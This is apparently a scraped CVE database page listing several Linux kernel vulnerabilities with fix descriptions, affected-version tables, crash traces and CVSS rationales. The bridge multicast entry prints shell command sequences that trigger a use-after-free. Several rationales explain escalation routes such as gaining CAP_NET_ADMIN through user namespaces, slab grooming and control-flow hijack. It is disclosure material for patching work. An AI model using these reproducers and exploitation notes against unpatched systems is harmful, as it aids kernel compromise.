Affected: ff7d6b27f894f1469dc51ccb828b7363ccd9799f , < d69f28ef7cdafdcf37ee310f38b1399e7d05f9a8 (git) Affected: ff7d6b27f894f1469dc51ccb828b7363ccd9799f , < 1a8c0b61d4cb55c5440583ec9e7f86a730369e32 (git) Affected: ff7d6b27f894f1469dc51ccb828b7363ccd9799f , < 4914c0a166540e534a0c1d43affd329d95fb56fd (git) Affected: ff7d6b27f894f1469dc51ccb828b7363ccd9799f , < e869a85acc2e60dc554579b910826a4919d8cd98 (git) Affected: ff7d6b27f894f1469dc51ccb828b7363ccd9799f , < 4ab8c0f8905c9c4d05e7f437e65a9a365573ff02 (git) Affected: ff7d6b27f894f1469dc51ccb828b7363ccd9799f , < 271683bb2cf32e5126c592b5d5e6a756fa374fd9 (git) |
|
| Linux | Linux |
Affected:
4.18
Unaffected: 0 , < 4.18 (semver) Unaffected: 5.10.259 , ≤ 5.10.* (semver) Unaffected: 5.15.198 , ≤ 5.15.* (semver) Unaffected: 6.1.160 , ≤ 6.1.* (semver) Unaffected: 6.6.120 , ≤ 6.6.* (semver) Unaffected: 6.12.34 , ≤ 6.12.* (semver) Unaffected: 6.15.3 , ≤ 6.15.* (semver) Unaffected: 6.16 , ≤ * (original_commit_for_fix) |
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"value": "In the Linux kernel, the following vulnerability has been resolved:\n\npage_pool: Fix use-after-free in page_pool_recycle_in_ring\n\nsyzbot reported a uaf in page_pool_recycle_in_ring:\n\nBUG: KASAN: slab-use-after-free in lock_release+0x151/0xa30 kernel/locking/lockdep.c:5862\nRead of size 8 at addr ffff8880286045a0 by task syz.0.284/6943\n\nCPU: 0 UID: 0 PID: 6943 Comm: syz.0.284 Not tainted 6.13.0-rc3-syzkaller-gdfa94ce54f41 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\nCall Trace:\n \u003cTASK\u003e\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x241/0x360 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0x169/0x550 mm/kasan/report.c:489\n kasan_report+0x143/0x180 mm/kasan/report.c:602\n lock_release+0x151/0xa30 kernel/locking/lockdep.c:5862\n __raw_spin_unlock_bh include/linux/spinlock_api_smp.h:165 [inline]\n _raw_spin_unlock_bh+0x1b/0x40 kernel/locking/spinlock.c:210\n spin_unlock_bh include/linux/spinlock.h:396 [inline]\n ptr_ring_produce_bh include/linux/ptr_ring.h:164 [inline]\n page_pool_recycle_in_ring net/core/page_pool.c:707 [inline]\n page_pool_put_unrefed_netmem+0x748/0xb00 net/core/page_pool.c:826\n page_pool_put_netmem include/net/page_pool/helpers.h:323 [inline]\n page_pool_put_full_netmem include/net/page_pool/helpers.h:353 [inline]\n napi_pp_put_page+0x149/0x2b0 net/core/skbuff.c:1036\n skb_pp_recycle net/core/skbuff.c:1047 [inline]\n skb_free_head net/core/skbuff.c:1094 [inline]\n skb_release_data+0x6c4/0x8a0 net/core/skbuff.c:1125\n skb_release_all net/core/skbuff.c:1190 [inline]\n __kfree_skb net/core/skbuff.c:1204 [inline]\n sk_skb_reason_drop+0x1c9/0x380 net/core/skbuff.c:1242\n kfree_skb_reason include/linux/skbuff.h:1263 [inline]\n __skb_queue_purge_reason include/linux/skbuff.h:3343 [inline]\n\nroot cause is:\n\npage_pool_recycle_in_ring\n ptr_ring_produce\n spin_lock(\u0026r-\u003eproducer_lock);\n WRITE_ONCE(r-\u003equeue[r-\u003eproducer++], ptr)\n //recycle last page to pool\n\t\t\t\tpage_pool_release\n\t\t\t\t page_pool_scrub\n\t\t\t\t page_pool_empty_ring\n\t\t\t\t ptr_ring_consume\n\t\t\t\t page_pool_return_page //release all page\n\t\t\t\t __page_pool_destroy\n\t\t\t\t free_percpu(pool-\u003erecycle_stats);\n\t\t\t\t free(pool) //free\n\n spin_unlock(\u0026r-\u003eproducer_lock); //pool-\u003ering uaf read\n recycle_stat_inc(pool, ring);\n\npage_pool can be free while page pool recycle the last page in ring.\nAdd producer-lock barrier to page_pool_release to prevent the page\npool from being free before all pages have been recycled.\n\nrecycle_stat_inc() is empty when CONFIG_PAGE_POOL_STATS is not\nenabled, which will trigger Wempty-body build warning. Add definition\nfor pool stat macro to fix warning."
}
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{
"lang": "en",
"value": "AV:L - Triggering requires local operations \u2014 creating/tearing down a page_pool-backed netdev (veth NAPI/GRO toggle, XDP detach, `ip link set down`, channel/ring reconfiguration) while freeing socket-queued skbs via close/purge syscalls. A remote peer can supply the packets that populate the pool but cannot initiate `page_pool_destroy()`, so the attack vector is local.\nAC:L - The attacker controls both sides of the race: they create the page pool, park page_pool-backed skbs on their own socket receive queue, then concurrently destroy the pool and purge the queue from another thread. Per-attempt the window is short, but it is entirely attacker-created and repeatable indefinitely (the `page_pool_release_retry` worker re-opens it every DEFER_TIME), with no condition outside the attacker\u0027s influence.\nPR:L - The producer side (`skb_release_data` \u2192 `napi_pp_put_page` \u2192 `page_pool_recycle_in_ring`) needs no privileges at all \u2014 just an ordinary socket. The destroy side needs only CAP_NET_ADMIN inside a network namespace, which any unprivileged user obtains with `unshare -Urn` to create a veth pair and toggle its NAPI/XDP state; no real root in the init namespace is required.\nUI:N - The attacking process performs the pool teardown and the skb free itself from its own threads. No victim action or cooperating process is needed.\nS:U - The freed object and the corruption both live in the host kernel\u0027s own memory; no VM, hypervisor, or IOMMU boundary is crossed.\nC:H - This is a use-after-free on a `kzalloc_node()`-allocated `struct page_pool`, which an attacker can groom and replace with a controlled slab object; the stale `pool-\u003erecycle_stats` dereference then reads attacker-influenced kernel memory, and the lockdep `lock_release` path reads the freed `dep_map`, yielding a kernel-memory disclosure primitive.\nI:H - The racing producer writes into freed memory unconditionally \u2014 `r-\u003equeue[r-\u003eproducer++]` stores a netmem pointer, `r-\u003eproducer` is incremented, and `spin_unlock_bh()` performs a store-release to the freed lock word at a fixed offset in a reallocated object. With `CONFIG_PAGE_POOL_STATS`, `recycle_stat_inc(pool, ring)` additionally increments through a pointer read out of the reallocated object, giving a near-arbitrary write usable for control-flow hijack.\nA:H - The confirmed syzbot outcome is a KASAN slab-use-after-free splat (an oops, and a panic under `panic_on_warn`/`panic_on_oops`); unpoisoned, the stray writes corrupt the slab and the recycled page ends up double-owned, readily producing kernel panics and network-stack breakage."
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"cveId": "CVE-2025-38129",
"datePublished": "2025-07-03T08:35:33.728Z",
"dateReserved": "2025-04-16T04:51:23.987Z",
"dateUpdated": "2026-08-05T11:59:48.021Z",
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CVE-2025-38154 (GCVE-0-2025-38154)
Vulnerability from cvelistv5 – Published: 2025-07-03 08:35 – Updated: 2026-08-05 11:59
VLAI
EPSS
VEX
Title
bpf, sockmap: Avoid using sk_socket after free when sending
Summary
In the Linux kernel, the following vulnerability has been resolved:
bpf, sockmap: Avoid using sk_socket after free when sending
The sk->sk_socket is not locked or referenced in backlog thread, and
during the call to skb_send_sock(), there is a race condition with
the release of sk_socket. All types of sockets(tcp/udp/unix/vsock)
will be affected.
Race conditions:
'''
CPU0 CPU1
backlog::skb_send_sock
sendmsg_unlocked
sock_sendmsg
sock_sendmsg_nosec
close(fd):
...
ops->release() -> sock_map_close()
sk_socket->ops = NULL
free(socket)
sock->ops->sendmsg
^
panic here
'''
The ref of psock become 0 after sock_map_close() executed.
'''
void sock_map_close()
{
...
if (likely(psock)) {
...
// !! here we remove psock and the ref of psock become 0
sock_map_remove_links(sk, psock)
psock = sk_psock_get(sk);
if (unlikely(!psock))
goto no_psock; <=== Control jumps here via goto
...
cancel_delayed_work_sync(&psock->work); <=== not executed
sk_psock_put(sk, psock);
...
}
'''
Based on the fact that we already wait for the workqueue to finish in
sock_map_close() if psock is held, we simply increase the psock
reference count to avoid race conditions.
With this patch, if the backlog thread is running, sock_map_close() will
wait for the backlog thread to complete and cancel all pending work.
If no backlog running, any pending work that hasn't started by then will
fail when invoked by sk_psock_get(), as the psock reference count have
been zeroed, and sk_psock_drop() will cancel all jobs via
cancel_delayed_work_sync().
In summary, we require synchronization to coordinate the backlog thread
and close() thread.
The panic I catched:
'''
Workqueue: events sk_psock_backlog
RIP: 0010:sock_sendmsg+0x21d/0x440
RAX: 0000000000000000 RBX: ffffc9000521fad8 RCX: 0000000000000001
...
Call Trace:
<TASK>
? die_addr+0x40/0xa0
? exc_general_protection+0x14c/0x230
? asm_exc_general_protection+0x26/0x30
? sock_sendmsg+0x21d/0x440
? sock_sendmsg+0x3e0/0x440
? __pfx_sock_sendmsg+0x10/0x10
__skb_send_sock+0x543/0xb70
sk_psock_backlog+0x247/0xb80
...
'''
Severity
7.8 (High)
Assigner
References
7 references
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Linux | Linux |
Affected:
4959ffc65a0e94f8acaac20deac49f89e6ded52d , < 4edb40b05cb6a261775abfd8046804ca139a5546
(git)
Affected: 5eabdf17fed2ad41b836bb4055ec36d95e512c50 , < b19cbf0b9a91f5a0d93fbcd761ff71c48ab40ed9 (git) Affected: e946428439a0d2079959f5603256ac51b6047017 , < 4c6fa65ab2aec7df94809478c8d28ef38676a1b7 (git) Affected: 4b4647add7d3c8530493f7247d11e257ee425bf0 , < 15c0250dae3b48a398447d2b364603821ed4ed90 (git) Affected: 4b4647add7d3c8530493f7247d11e257ee425bf0 , < 7c0a16f6ea2b1c82a03bccd5d1bdb4a7bbd4d987 (git) Affected: 4b4647add7d3c8530493f7247d11e257ee425bf0 , < 8259eb0e06d8f64c700f5fbdb28a5c18e10de291 (git) Affected: 3627605de498639a3c586c8684d12c89cba11073 (git) Affected: 5.15.162 , < 5.15.186 (semver) Affected: 6.1.95 , < 6.1.142 (semver) Affected: 6.6.35 , < 6.6.94 (semver) Affected: 6.9.6 , < 6.10 (semver) |
|
| Linux | Linux |
Affected:
6.10
Unaffected: 0 , < 6.10 (semver) Unaffected: 5.15.186 , ≤ 5.15.* (semver) Unaffected: 6.1.142 , ≤ 6.1.* (semver) Unaffected: 6.6.94 , ≤ 6.6.* (semver) Unaffected: 6.12.34 , ≤ 6.12.* (semver) Unaffected: 6.15.3 , ≤ 6.15.* (semver) Unaffected: 6.16 , ≤ * (original_commit_for_fix) |
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"value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf, sockmap: Avoid using sk_socket after free when sending\n\nThe sk-\u003esk_socket is not locked or referenced in backlog thread, and\nduring the call to skb_send_sock(), there is a race condition with\nthe release of sk_socket. All types of sockets(tcp/udp/unix/vsock)\nwill be affected.\n\nRace conditions:\n\u0027\u0027\u0027\nCPU0 CPU1\n\nbacklog::skb_send_sock\n sendmsg_unlocked\n sock_sendmsg\n sock_sendmsg_nosec\n close(fd):\n ...\n ops-\u003erelease() -\u003e sock_map_close()\n sk_socket-\u003eops = NULL\n free(socket)\n sock-\u003eops-\u003esendmsg\n ^\n panic here\n\u0027\u0027\u0027\n\nThe ref of psock become 0 after sock_map_close() executed.\n\u0027\u0027\u0027\nvoid sock_map_close()\n{\n ...\n if (likely(psock)) {\n ...\n // !! here we remove psock and the ref of psock become 0\n sock_map_remove_links(sk, psock)\n psock = sk_psock_get(sk);\n if (unlikely(!psock))\n goto no_psock; \u003c=== Control jumps here via goto\n ...\n cancel_delayed_work_sync(\u0026psock-\u003ework); \u003c=== not executed\n sk_psock_put(sk, psock);\n ...\n}\n\u0027\u0027\u0027\n\nBased on the fact that we already wait for the workqueue to finish in\nsock_map_close() if psock is held, we simply increase the psock\nreference count to avoid race conditions.\n\nWith this patch, if the backlog thread is running, sock_map_close() will\nwait for the backlog thread to complete and cancel all pending work.\n\nIf no backlog running, any pending work that hasn\u0027t started by then will\nfail when invoked by sk_psock_get(), as the psock reference count have\nbeen zeroed, and sk_psock_drop() will cancel all jobs via\ncancel_delayed_work_sync().\n\nIn summary, we require synchronization to coordinate the backlog thread\nand close() thread.\n\nThe panic I catched:\n\u0027\u0027\u0027\nWorkqueue: events sk_psock_backlog\nRIP: 0010:sock_sendmsg+0x21d/0x440\nRAX: 0000000000000000 RBX: ffffc9000521fad8 RCX: 0000000000000001\n...\nCall Trace:\n \u003cTASK\u003e\n ? die_addr+0x40/0xa0\n ? exc_general_protection+0x14c/0x230\n ? asm_exc_general_protection+0x26/0x30\n ? sock_sendmsg+0x21d/0x440\n ? sock_sendmsg+0x3e0/0x440\n ? __pfx_sock_sendmsg+0x10/0x10\n __skb_send_sock+0x543/0xb70\n sk_psock_backlog+0x247/0xb80\n...\n\u0027\u0027\u0027"
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CVE-2025-38248 (GCVE-0-2025-38248)
Vulnerability from cvelistv5 – Published: 2025-07-09 10:42 – Updated: 2026-08-05 12:00
VLAI
EPSS
VEX
Title
bridge: mcast: Fix use-after-free during router port configuration
Summary
In the Linux kernel, the following vulnerability has been resolved:
bridge: mcast: Fix use-after-free during router port configuration
The bridge maintains a global list of ports behind which a multicast
router resides. The list is consulted during forwarding to ensure
multicast packets are forwarded to these ports even if the ports are not
member in the matching MDB entry.
When per-VLAN multicast snooping is enabled, the per-port multicast
context is disabled on each port and the port is removed from the global
router port list:
# ip link add name br1 up type bridge vlan_filtering 1 mcast_snooping 1
# ip link add name dummy1 up master br1 type dummy
# ip link set dev dummy1 type bridge_slave mcast_router 2
$ bridge -d mdb show | grep router
router ports on br1: dummy1
# ip link set dev br1 type bridge mcast_vlan_snooping 1
$ bridge -d mdb show | grep router
However, the port can be re-added to the global list even when per-VLAN
multicast snooping is enabled:
# ip link set dev dummy1 type bridge_slave mcast_router 0
# ip link set dev dummy1 type bridge_slave mcast_router 2
$ bridge -d mdb show | grep router
router ports on br1: dummy1
Since commit 4b30ae9adb04 ("net: bridge: mcast: re-implement
br_multicast_{enable, disable}_port functions"), when per-VLAN multicast
snooping is enabled, multicast disablement on a port will disable the
per-{port, VLAN} multicast contexts and not the per-port one. As a
result, a port will remain in the global router port list even after it
is deleted. This will lead to a use-after-free [1] when the list is
traversed (when adding a new port to the list, for example):
# ip link del dev dummy1
# ip link add name dummy2 up master br1 type dummy
# ip link set dev dummy2 type bridge_slave mcast_router 2
Similarly, stale entries can also be found in the per-VLAN router port
list. When per-VLAN multicast snooping is disabled, the per-{port, VLAN}
contexts are disabled on each port and the port is removed from the
per-VLAN router port list:
# ip link add name br1 up type bridge vlan_filtering 1 mcast_snooping 1 mcast_vlan_snooping 1
# ip link add name dummy1 up master br1 type dummy
# bridge vlan add vid 2 dev dummy1
# bridge vlan global set vid 2 dev br1 mcast_snooping 1
# bridge vlan set vid 2 dev dummy1 mcast_router 2
$ bridge vlan global show dev br1 vid 2 | grep router
router ports: dummy1
# ip link set dev br1 type bridge mcast_vlan_snooping 0
$ bridge vlan global show dev br1 vid 2 | grep router
However, the port can be re-added to the per-VLAN list even when
per-VLAN multicast snooping is disabled:
# bridge vlan set vid 2 dev dummy1 mcast_router 0
# bridge vlan set vid 2 dev dummy1 mcast_router 2
$ bridge vlan global show dev br1 vid 2 | grep router
router ports: dummy1
When the VLAN is deleted from the port, the per-{port, VLAN} multicast
context will not be disabled since multicast snooping is not enabled
on the VLAN. As a result, the port will remain in the per-VLAN router
port list even after it is no longer member in the VLAN. This will lead
to a use-after-free [2] when the list is traversed (when adding a new
port to the list, for example):
# ip link add name dummy2 up master br1 type dummy
# bridge vlan add vid 2 dev dummy2
# bridge vlan del vid 2 dev dummy1
# bridge vlan set vid 2 dev dummy2 mcast_router 2
Fix these issues by removing the port from the relevant (global or
per-VLAN) router port list in br_multicast_port_ctx_deinit(). The
function is invoked during port deletion with the per-port multicast
context and during VLAN deletion with the per-{port, VLAN} multicast
context.
Note that deleting the multicast router timer is not enough as it only
takes care of the temporary multicast router states (1 or 3) and not the
permanent one (2).
[1]
BUG: KASAN: slab-out-of-bounds in br_multicast_add_router.part.0+0x3f1/0x560
Write of size 8 at addr ffff888004a67328 by task ip/384
[...]
Call Trace:
<TASK>
dump_stack
---truncated---
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-10 20:41 UTC
Assigner
References
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Linux | Linux |
Affected:
2796d846d74a18cc6563e96eff8bf28c5e06f912 , < 4d3c2a1d4c7c33103f1ddfdbc5cfe1ea4f6d0dcd
(git)
Affected: 2796d846d74a18cc6563e96eff8bf28c5e06f912 , < bdced577da71b118b6ed4242ebd47f81bf54d406 (git) Affected: 2796d846d74a18cc6563e96eff8bf28c5e06f912 , < f05a4f9e959e0fc098046044c650acf897ea52d2 (git) Affected: 2796d846d74a18cc6563e96eff8bf28c5e06f912 , < 7544f3f5b0b58c396f374d060898b5939da31709 (git) |
|
| Linux | Linux |
Affected:
5.15
Unaffected: 0 , < 5.15 (semver) Unaffected: 6.6.122 , ≤ 6.6.* (semver) Unaffected: 6.12.67 , ≤ 6.12.* (semver) Unaffected: 6.15.5 , ≤ 6.15.* (semver) Unaffected: 6.16 , ≤ * (original_commit_for_fix) |
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"value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbridge: mcast: Fix use-after-free during router port configuration\n\nThe bridge maintains a global list of ports behind which a multicast\nrouter resides. The list is consulted during forwarding to ensure\nmulticast packets are forwarded to these ports even if the ports are not\nmember in the matching MDB entry.\n\nWhen per-VLAN multicast snooping is enabled, the per-port multicast\ncontext is disabled on each port and the port is removed from the global\nrouter port list:\n\n # ip link add name br1 up type bridge vlan_filtering 1 mcast_snooping 1\n # ip link add name dummy1 up master br1 type dummy\n # ip link set dev dummy1 type bridge_slave mcast_router 2\n $ bridge -d mdb show | grep router\n router ports on br1: dummy1\n # ip link set dev br1 type bridge mcast_vlan_snooping 1\n $ bridge -d mdb show | grep router\n\nHowever, the port can be re-added to the global list even when per-VLAN\nmulticast snooping is enabled:\n\n # ip link set dev dummy1 type bridge_slave mcast_router 0\n # ip link set dev dummy1 type bridge_slave mcast_router 2\n $ bridge -d mdb show | grep router\n router ports on br1: dummy1\n\nSince commit 4b30ae9adb04 (\"net: bridge: mcast: re-implement\nbr_multicast_{enable, disable}_port functions\"), when per-VLAN multicast\nsnooping is enabled, multicast disablement on a port will disable the\nper-{port, VLAN} multicast contexts and not the per-port one. As a\nresult, a port will remain in the global router port list even after it\nis deleted. This will lead to a use-after-free [1] when the list is\ntraversed (when adding a new port to the list, for example):\n\n # ip link del dev dummy1\n # ip link add name dummy2 up master br1 type dummy\n # ip link set dev dummy2 type bridge_slave mcast_router 2\n\nSimilarly, stale entries can also be found in the per-VLAN router port\nlist. When per-VLAN multicast snooping is disabled, the per-{port, VLAN}\ncontexts are disabled on each port and the port is removed from the\nper-VLAN router port list:\n\n # ip link add name br1 up type bridge vlan_filtering 1 mcast_snooping 1 mcast_vlan_snooping 1\n # ip link add name dummy1 up master br1 type dummy\n # bridge vlan add vid 2 dev dummy1\n # bridge vlan global set vid 2 dev br1 mcast_snooping 1\n # bridge vlan set vid 2 dev dummy1 mcast_router 2\n $ bridge vlan global show dev br1 vid 2 | grep router\n router ports: dummy1\n # ip link set dev br1 type bridge mcast_vlan_snooping 0\n $ bridge vlan global show dev br1 vid 2 | grep router\n\nHowever, the port can be re-added to the per-VLAN list even when\nper-VLAN multicast snooping is disabled:\n\n # bridge vlan set vid 2 dev dummy1 mcast_router 0\n # bridge vlan set vid 2 dev dummy1 mcast_router 2\n $ bridge vlan global show dev br1 vid 2 | grep router\n router ports: dummy1\n\nWhen the VLAN is deleted from the port, the per-{port, VLAN} multicast\ncontext will not be disabled since multicast snooping is not enabled\non the VLAN. As a result, the port will remain in the per-VLAN router\nport list even after it is no longer member in the VLAN. This will lead\nto a use-after-free [2] when the list is traversed (when adding a new\nport to the list, for example):\n\n # ip link add name dummy2 up master br1 type dummy\n # bridge vlan add vid 2 dev dummy2\n # bridge vlan del vid 2 dev dummy1\n # bridge vlan set vid 2 dev dummy2 mcast_router 2\n\nFix these issues by removing the port from the relevant (global or\nper-VLAN) router port list in br_multicast_port_ctx_deinit(). The\nfunction is invoked during port deletion with the per-port multicast\ncontext and during VLAN deletion with the per-{port, VLAN} multicast\ncontext.\n\nNote that deleting the multicast router timer is not enough as it only\ntakes care of the temporary multicast router states (1 or 3) and not the\npermanent one (2).\n\n[1]\nBUG: KASAN: slab-out-of-bounds in br_multicast_add_router.part.0+0x3f1/0x560\nWrite of size 8 at addr ffff888004a67328 by task ip/384\n[...]\nCall Trace:\n \u003cTASK\u003e\n dump_stack\n---truncated---"
}
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"version": "3.1"
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"value": "AV:L - The dangling router-port entry is created and triggered through rtnetlink configuration messages (RTM_NEWLINK/RTM_SETLINK with IFLA_BRPORT_MULTICAST_ROUTER and RTM_NEWVLAN options), which require a local socket. Per kernel guidance, netlink-reachable bugs are Local.\nAC:L - The bug is a deterministic state-machine error, not a race: a fixed sequence of `ip link`/`bridge vlan` commands leaves the freed port on the router list and the very next mcast_router set triggers the UAF, as shown by the reproducers and the syzkaller report.\nPR:L - Bridge port and VLAN configuration only requires CAP_NET_ADMIN in the netns owning the device, which any unprivileged user obtains via `unshare -Urn` and then creates the bridge, dummy ports and multicast options entirely inside that namespace.\nUI:N - The attacker performs the entire configuration sequence themselves through their own netlink socket; no victim action is needed at any point.\nS:U - The corruption stays within the kernel\u0027s own memory and security authority, with no crossing of a VM, IOMMU or sandbox boundary.\nC:H - List traversal reads `pmctx-\u003eport` and the `hlist_node` links out of freed slab memory, and the resulting dangling entries are also walked on the multicast forwarding path, giving an attacker who reallocates the freed object a means to read kernel memory and defeat KASLR.\nI:H - `hlist_add_behind_rcu()` writes 8 bytes into the freed (attacker-reallocatable) object and later `hlist_del_init_rcu()` writes through an attacker-controlled `pprev`, yielding a controlled-write primitive; freed ports are additionally used to deliver packets via a dangling `net_device`, enabling control-flow hijack.\nA:H - The use-after-free corrupts the bridge router list and reliably produces a KASAN-confirmed slab-use-after-free/out-of-bounds access, causing kernel oops or panic, and can be repeated at will."
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CVE-2025-40240 (GCVE-0-2025-40240)
Vulnerability from cvelistv5 – Published: 2025-12-04 15:31 – Updated: 2026-08-05 12:08
VLAI
EPSS
VEX
Title
sctp: avoid NULL dereference when chunk data buffer is missing
Summary
In the Linux kernel, the following vulnerability has been resolved:
sctp: avoid NULL dereference when chunk data buffer is missing
chunk->skb pointer is dereferenced in the if-block where it's supposed
to be NULL only.
chunk->skb can only be NULL if chunk->head_skb is not. Check for frag_list
instead and do it just before replacing chunk->skb. We're sure that
otherwise chunk->skb is non-NULL because of outer if() condition.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-16 19:41 UTC
Assigner
References
8 references
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Linux | Linux |
Affected:
90017accff61ae89283ad9a51f9ac46ca01633fb , < 61cda2777b07d27459f5cac5a047c3edf9c8a1a9
(git)
Affected: 90017accff61ae89283ad9a51f9ac46ca01633fb , < 08165c296597075763130919f2aae59b5822f016 (git) Affected: 90017accff61ae89283ad9a51f9ac46ca01633fb , < 03e80a4b04ef1fb2c61dd63216ab8d3a5dcb196f (git) Affected: 90017accff61ae89283ad9a51f9ac46ca01633fb , < 4f6da435fb5d8a21cbf8cae5ca5a2ba0e1012b71 (git) Affected: 90017accff61ae89283ad9a51f9ac46ca01633fb , < cb9055ba30306ede4ad920002233d0659982f1cb (git) Affected: 90017accff61ae89283ad9a51f9ac46ca01633fb , < 7a832b0f99be19df608cb75c023f8027b1789bd1 (git) Affected: 90017accff61ae89283ad9a51f9ac46ca01633fb , < 89b465b54227c245ddc7cc9ed822231af21123ef (git) Affected: 90017accff61ae89283ad9a51f9ac46ca01633fb , < 441f0647f7673e0e64d4910ef61a5fb8f16bfb82 (git) |
|
| Linux | Linux |
Affected:
4.8
Unaffected: 0 , < 4.8 (semver) Unaffected: 5.4.301 , ≤ 5.4.* (semver) Unaffected: 5.10.246 , ≤ 5.10.* (semver) Unaffected: 5.15.196 , ≤ 5.15.* (semver) Unaffected: 6.1.158 , ≤ 6.1.* (semver) Unaffected: 6.6.115 , ≤ 6.6.* (semver) Unaffected: 6.12.56 , ≤ 6.12.* (semver) Unaffected: 6.17.6 , ≤ 6.17.* (semver) Unaffected: 6.18 , ≤ * (original_commit_for_fix) |
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CVE-2025-40269 (GCVE-0-2025-40269)
Vulnerability from cvelistv5 – Published: 2025-12-06 21:50 – Updated: 2026-08-05 12:09
VLAI
EPSS
VEX
Title
ALSA: usb-audio: Fix potential overflow of PCM transfer buffer
Summary
In the Linux kernel, the following vulnerability has been resolved:
ALSA: usb-audio: Fix potential overflow of PCM transfer buffer
The PCM stream data in USB-audio driver is transferred over USB URB
packet buffers, and each packet size is determined dynamically. The
packet sizes are limited by some factors such as wMaxPacketSize USB
descriptor. OTOH, in the current code, the actually used packet sizes
are determined only by the rate and the PPS, which may be bigger than
the size limit above. This results in a buffer overflow, as reported
by syzbot.
Basically when the limit is smaller than the calculated packet size,
it implies that something is wrong, most likely a weird USB
descriptor. So the best option would be just to return an error at
the parameter setup time before doing any further operations.
This patch introduces such a sanity check, and returns -EINVAL when
the packet size is greater than maxpacksize. The comparison with
ep->packsize[1] alone should suffice since it's always equal or
greater than ep->packsize[0].
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-16 20:14 UTC
Assigner
References
13 references
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Linux | Linux |
Affected:
02c56650f3c118d3752122996d96173d26bb13aa , < 480a1490c595a242f27493a4544b3efb21b29f6a
(git)
Affected: 5ef30e443e6d3654cccecec99cf481a69a0a6d3b , < ab0b5e92fc36ee82c1bd01fe896d0f775ed5de41 (git) Affected: 99703c921864a318e3e8aae74fde071b1ff35bea , < 282aba56713bbc58155716b55ca7222b2d9cf3c8 (git) Affected: 2d50acd7dbd0682a56968ad9551341d7fc5b6eaf , < c4dc012b027c9eb101583011089dea14d744e314 (git) Affected: aba41867dd66939d336fdf604e4d73b805d8039f , < e0ed5a36fb3ab9e7b9ee45cd17f09f6d5f594360 (git) Affected: d288dc74f8cf95cb7ae0aaf245b7128627a49bf3 , < d67dde02049e632ba58d3c44a164a74b6a737154 (git) Affected: f0bd62b64016508938df9babe47f65c2c727d25c , < 6a5da3fa80affc948923f20a4e086177f505e86e (git) Affected: f0bd62b64016508938df9babe47f65c2c727d25c , < 217d47255a2ec8b246f2725f5db9ac3f1d4109d7 (git) Affected: f0bd62b64016508938df9babe47f65c2c727d25c , < ef592bf2232a2daa9fffa8881881fc9957ea56e9 (git) Affected: f0bd62b64016508938df9babe47f65c2c727d25c , < ece3b981bb6620e47fac826a2156c090b1a936a0 (git) Affected: f0bd62b64016508938df9babe47f65c2c727d25c , < 98e9d5e33bda8db875cc1a4fe99c192658e45ab6 (git) Affected: f0bd62b64016508938df9babe47f65c2c727d25c , < d2c04f20ccc6c0d219e6d3038bab45bc66a178ad (git) Affected: f0bd62b64016508938df9babe47f65c2c727d25c , < 05a1fc5efdd8560f34a3af39c9cf1e1526cc3ddf (git) Affected: 4.4.229 , < 4.4.230 (semver) Affected: 4.9.229 , < 4.9.230 (semver) Affected: 4.14.186 , < 4.14.188 (semver) Affected: 4.19.130 , < 4.19.132 (semver) Affected: 5.4.49 , < 5.4.51 (semver) Affected: 5.7.6 , < 5.7.8 (semver) |
|
| Linux | Linux |
Affected:
5.8
Unaffected: 0 , < 5.8 (semver) Unaffected: 4.4.230 , ≤ 4.4.* (semver) Unaffected: 4.9.230 , ≤ 4.9.* (semver) Unaffected: 4.14.188 , ≤ 4.14.* (semver) Unaffected: 4.19.132 , ≤ 4.19.* (semver) Unaffected: 5.4.51 , ≤ 5.4.* (semver) Unaffected: 5.7.8 , ≤ 5.7.* (semver) Unaffected: 5.10.247 , ≤ 5.10.* (semver) Unaffected: 5.15.197 , ≤ 5.15.* (semver) Unaffected: 6.1.159 , ≤ 6.1.* (semver) Unaffected: 6.6.117 , ≤ 6.6.* (semver) Unaffected: 6.12.59 , ≤ 6.12.* (semver) Unaffected: 6.17.9 , ≤ 6.17.* (semver) Unaffected: 6.18 , ≤ * (original_commit_for_fix) |
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"value": "AV:L - The overflow is driven by locally-supplied `hw_params` (rate/format/channels) written via ioctl on `/dev/snd/pcmC*D*p` plus PCM data the attacker writes into the mmap\u0027d buffer, on any system with a USB audio endpoint present (USB headsets/DACs/webcam mics are ubiquitous on desktops, Android, kiosks and embedded systems). Although a malformed descriptor is one way to reach it, no physical interaction is required for a local attacker on a machine with an attached USB audio device.\nAC:L - The attacker deterministically chooses the rate and sample format that make `packsize[1] * stride` exceed the `wMaxPacketSize`-derived buffer, then triggers the copy by starting playback \u2014 no race, no memory-layout guessing, and the condition is fully reproducible on every URB submission.\nPR:L - Only access to the ALSA PCM device node is required, which is granted to the logged-in session user via logind ACLs or membership in the `audio` group; no CAP_SYS_ADMIN or root is needed.\nUI:N - The attacking process performs open/hw_params/prepare/write entirely on its own; no victim action is needed, and on desktop/Android systems PipeWire/AudioFlinger will even drive the stream automatically on hotplug.\nS:U - The corruption stays within the kernel\u0027s own memory and the USB host controller\u0027s DMA-coherent pool, managed by the same security authority; no VM, IOMMU or sandbox boundary is crossed.\nC:H - The oversized `iso_frame_desc` lengths cause the host controller to DMA kernel memory beyond the allocated coherent buffer out to the USB device, disclosing adjacent kernel heap contents to the attacker; heap corruption can also be leveraged for broader arbitrary read.\nI:H - `copy_to_urb()` memcpy\u0027s an attacker-controlled length of attacker-controlled PCM bytes past the end of the coherent URB buffer, giving a heap out-of-bounds write with controlled content \u2014 a primitive suitable for corrupting adjacent objects and hijacking control flow.\nA:H - Overrunning the DMA-coherent transfer buffer corrupts neighbouring kernel/DMA-pool memory 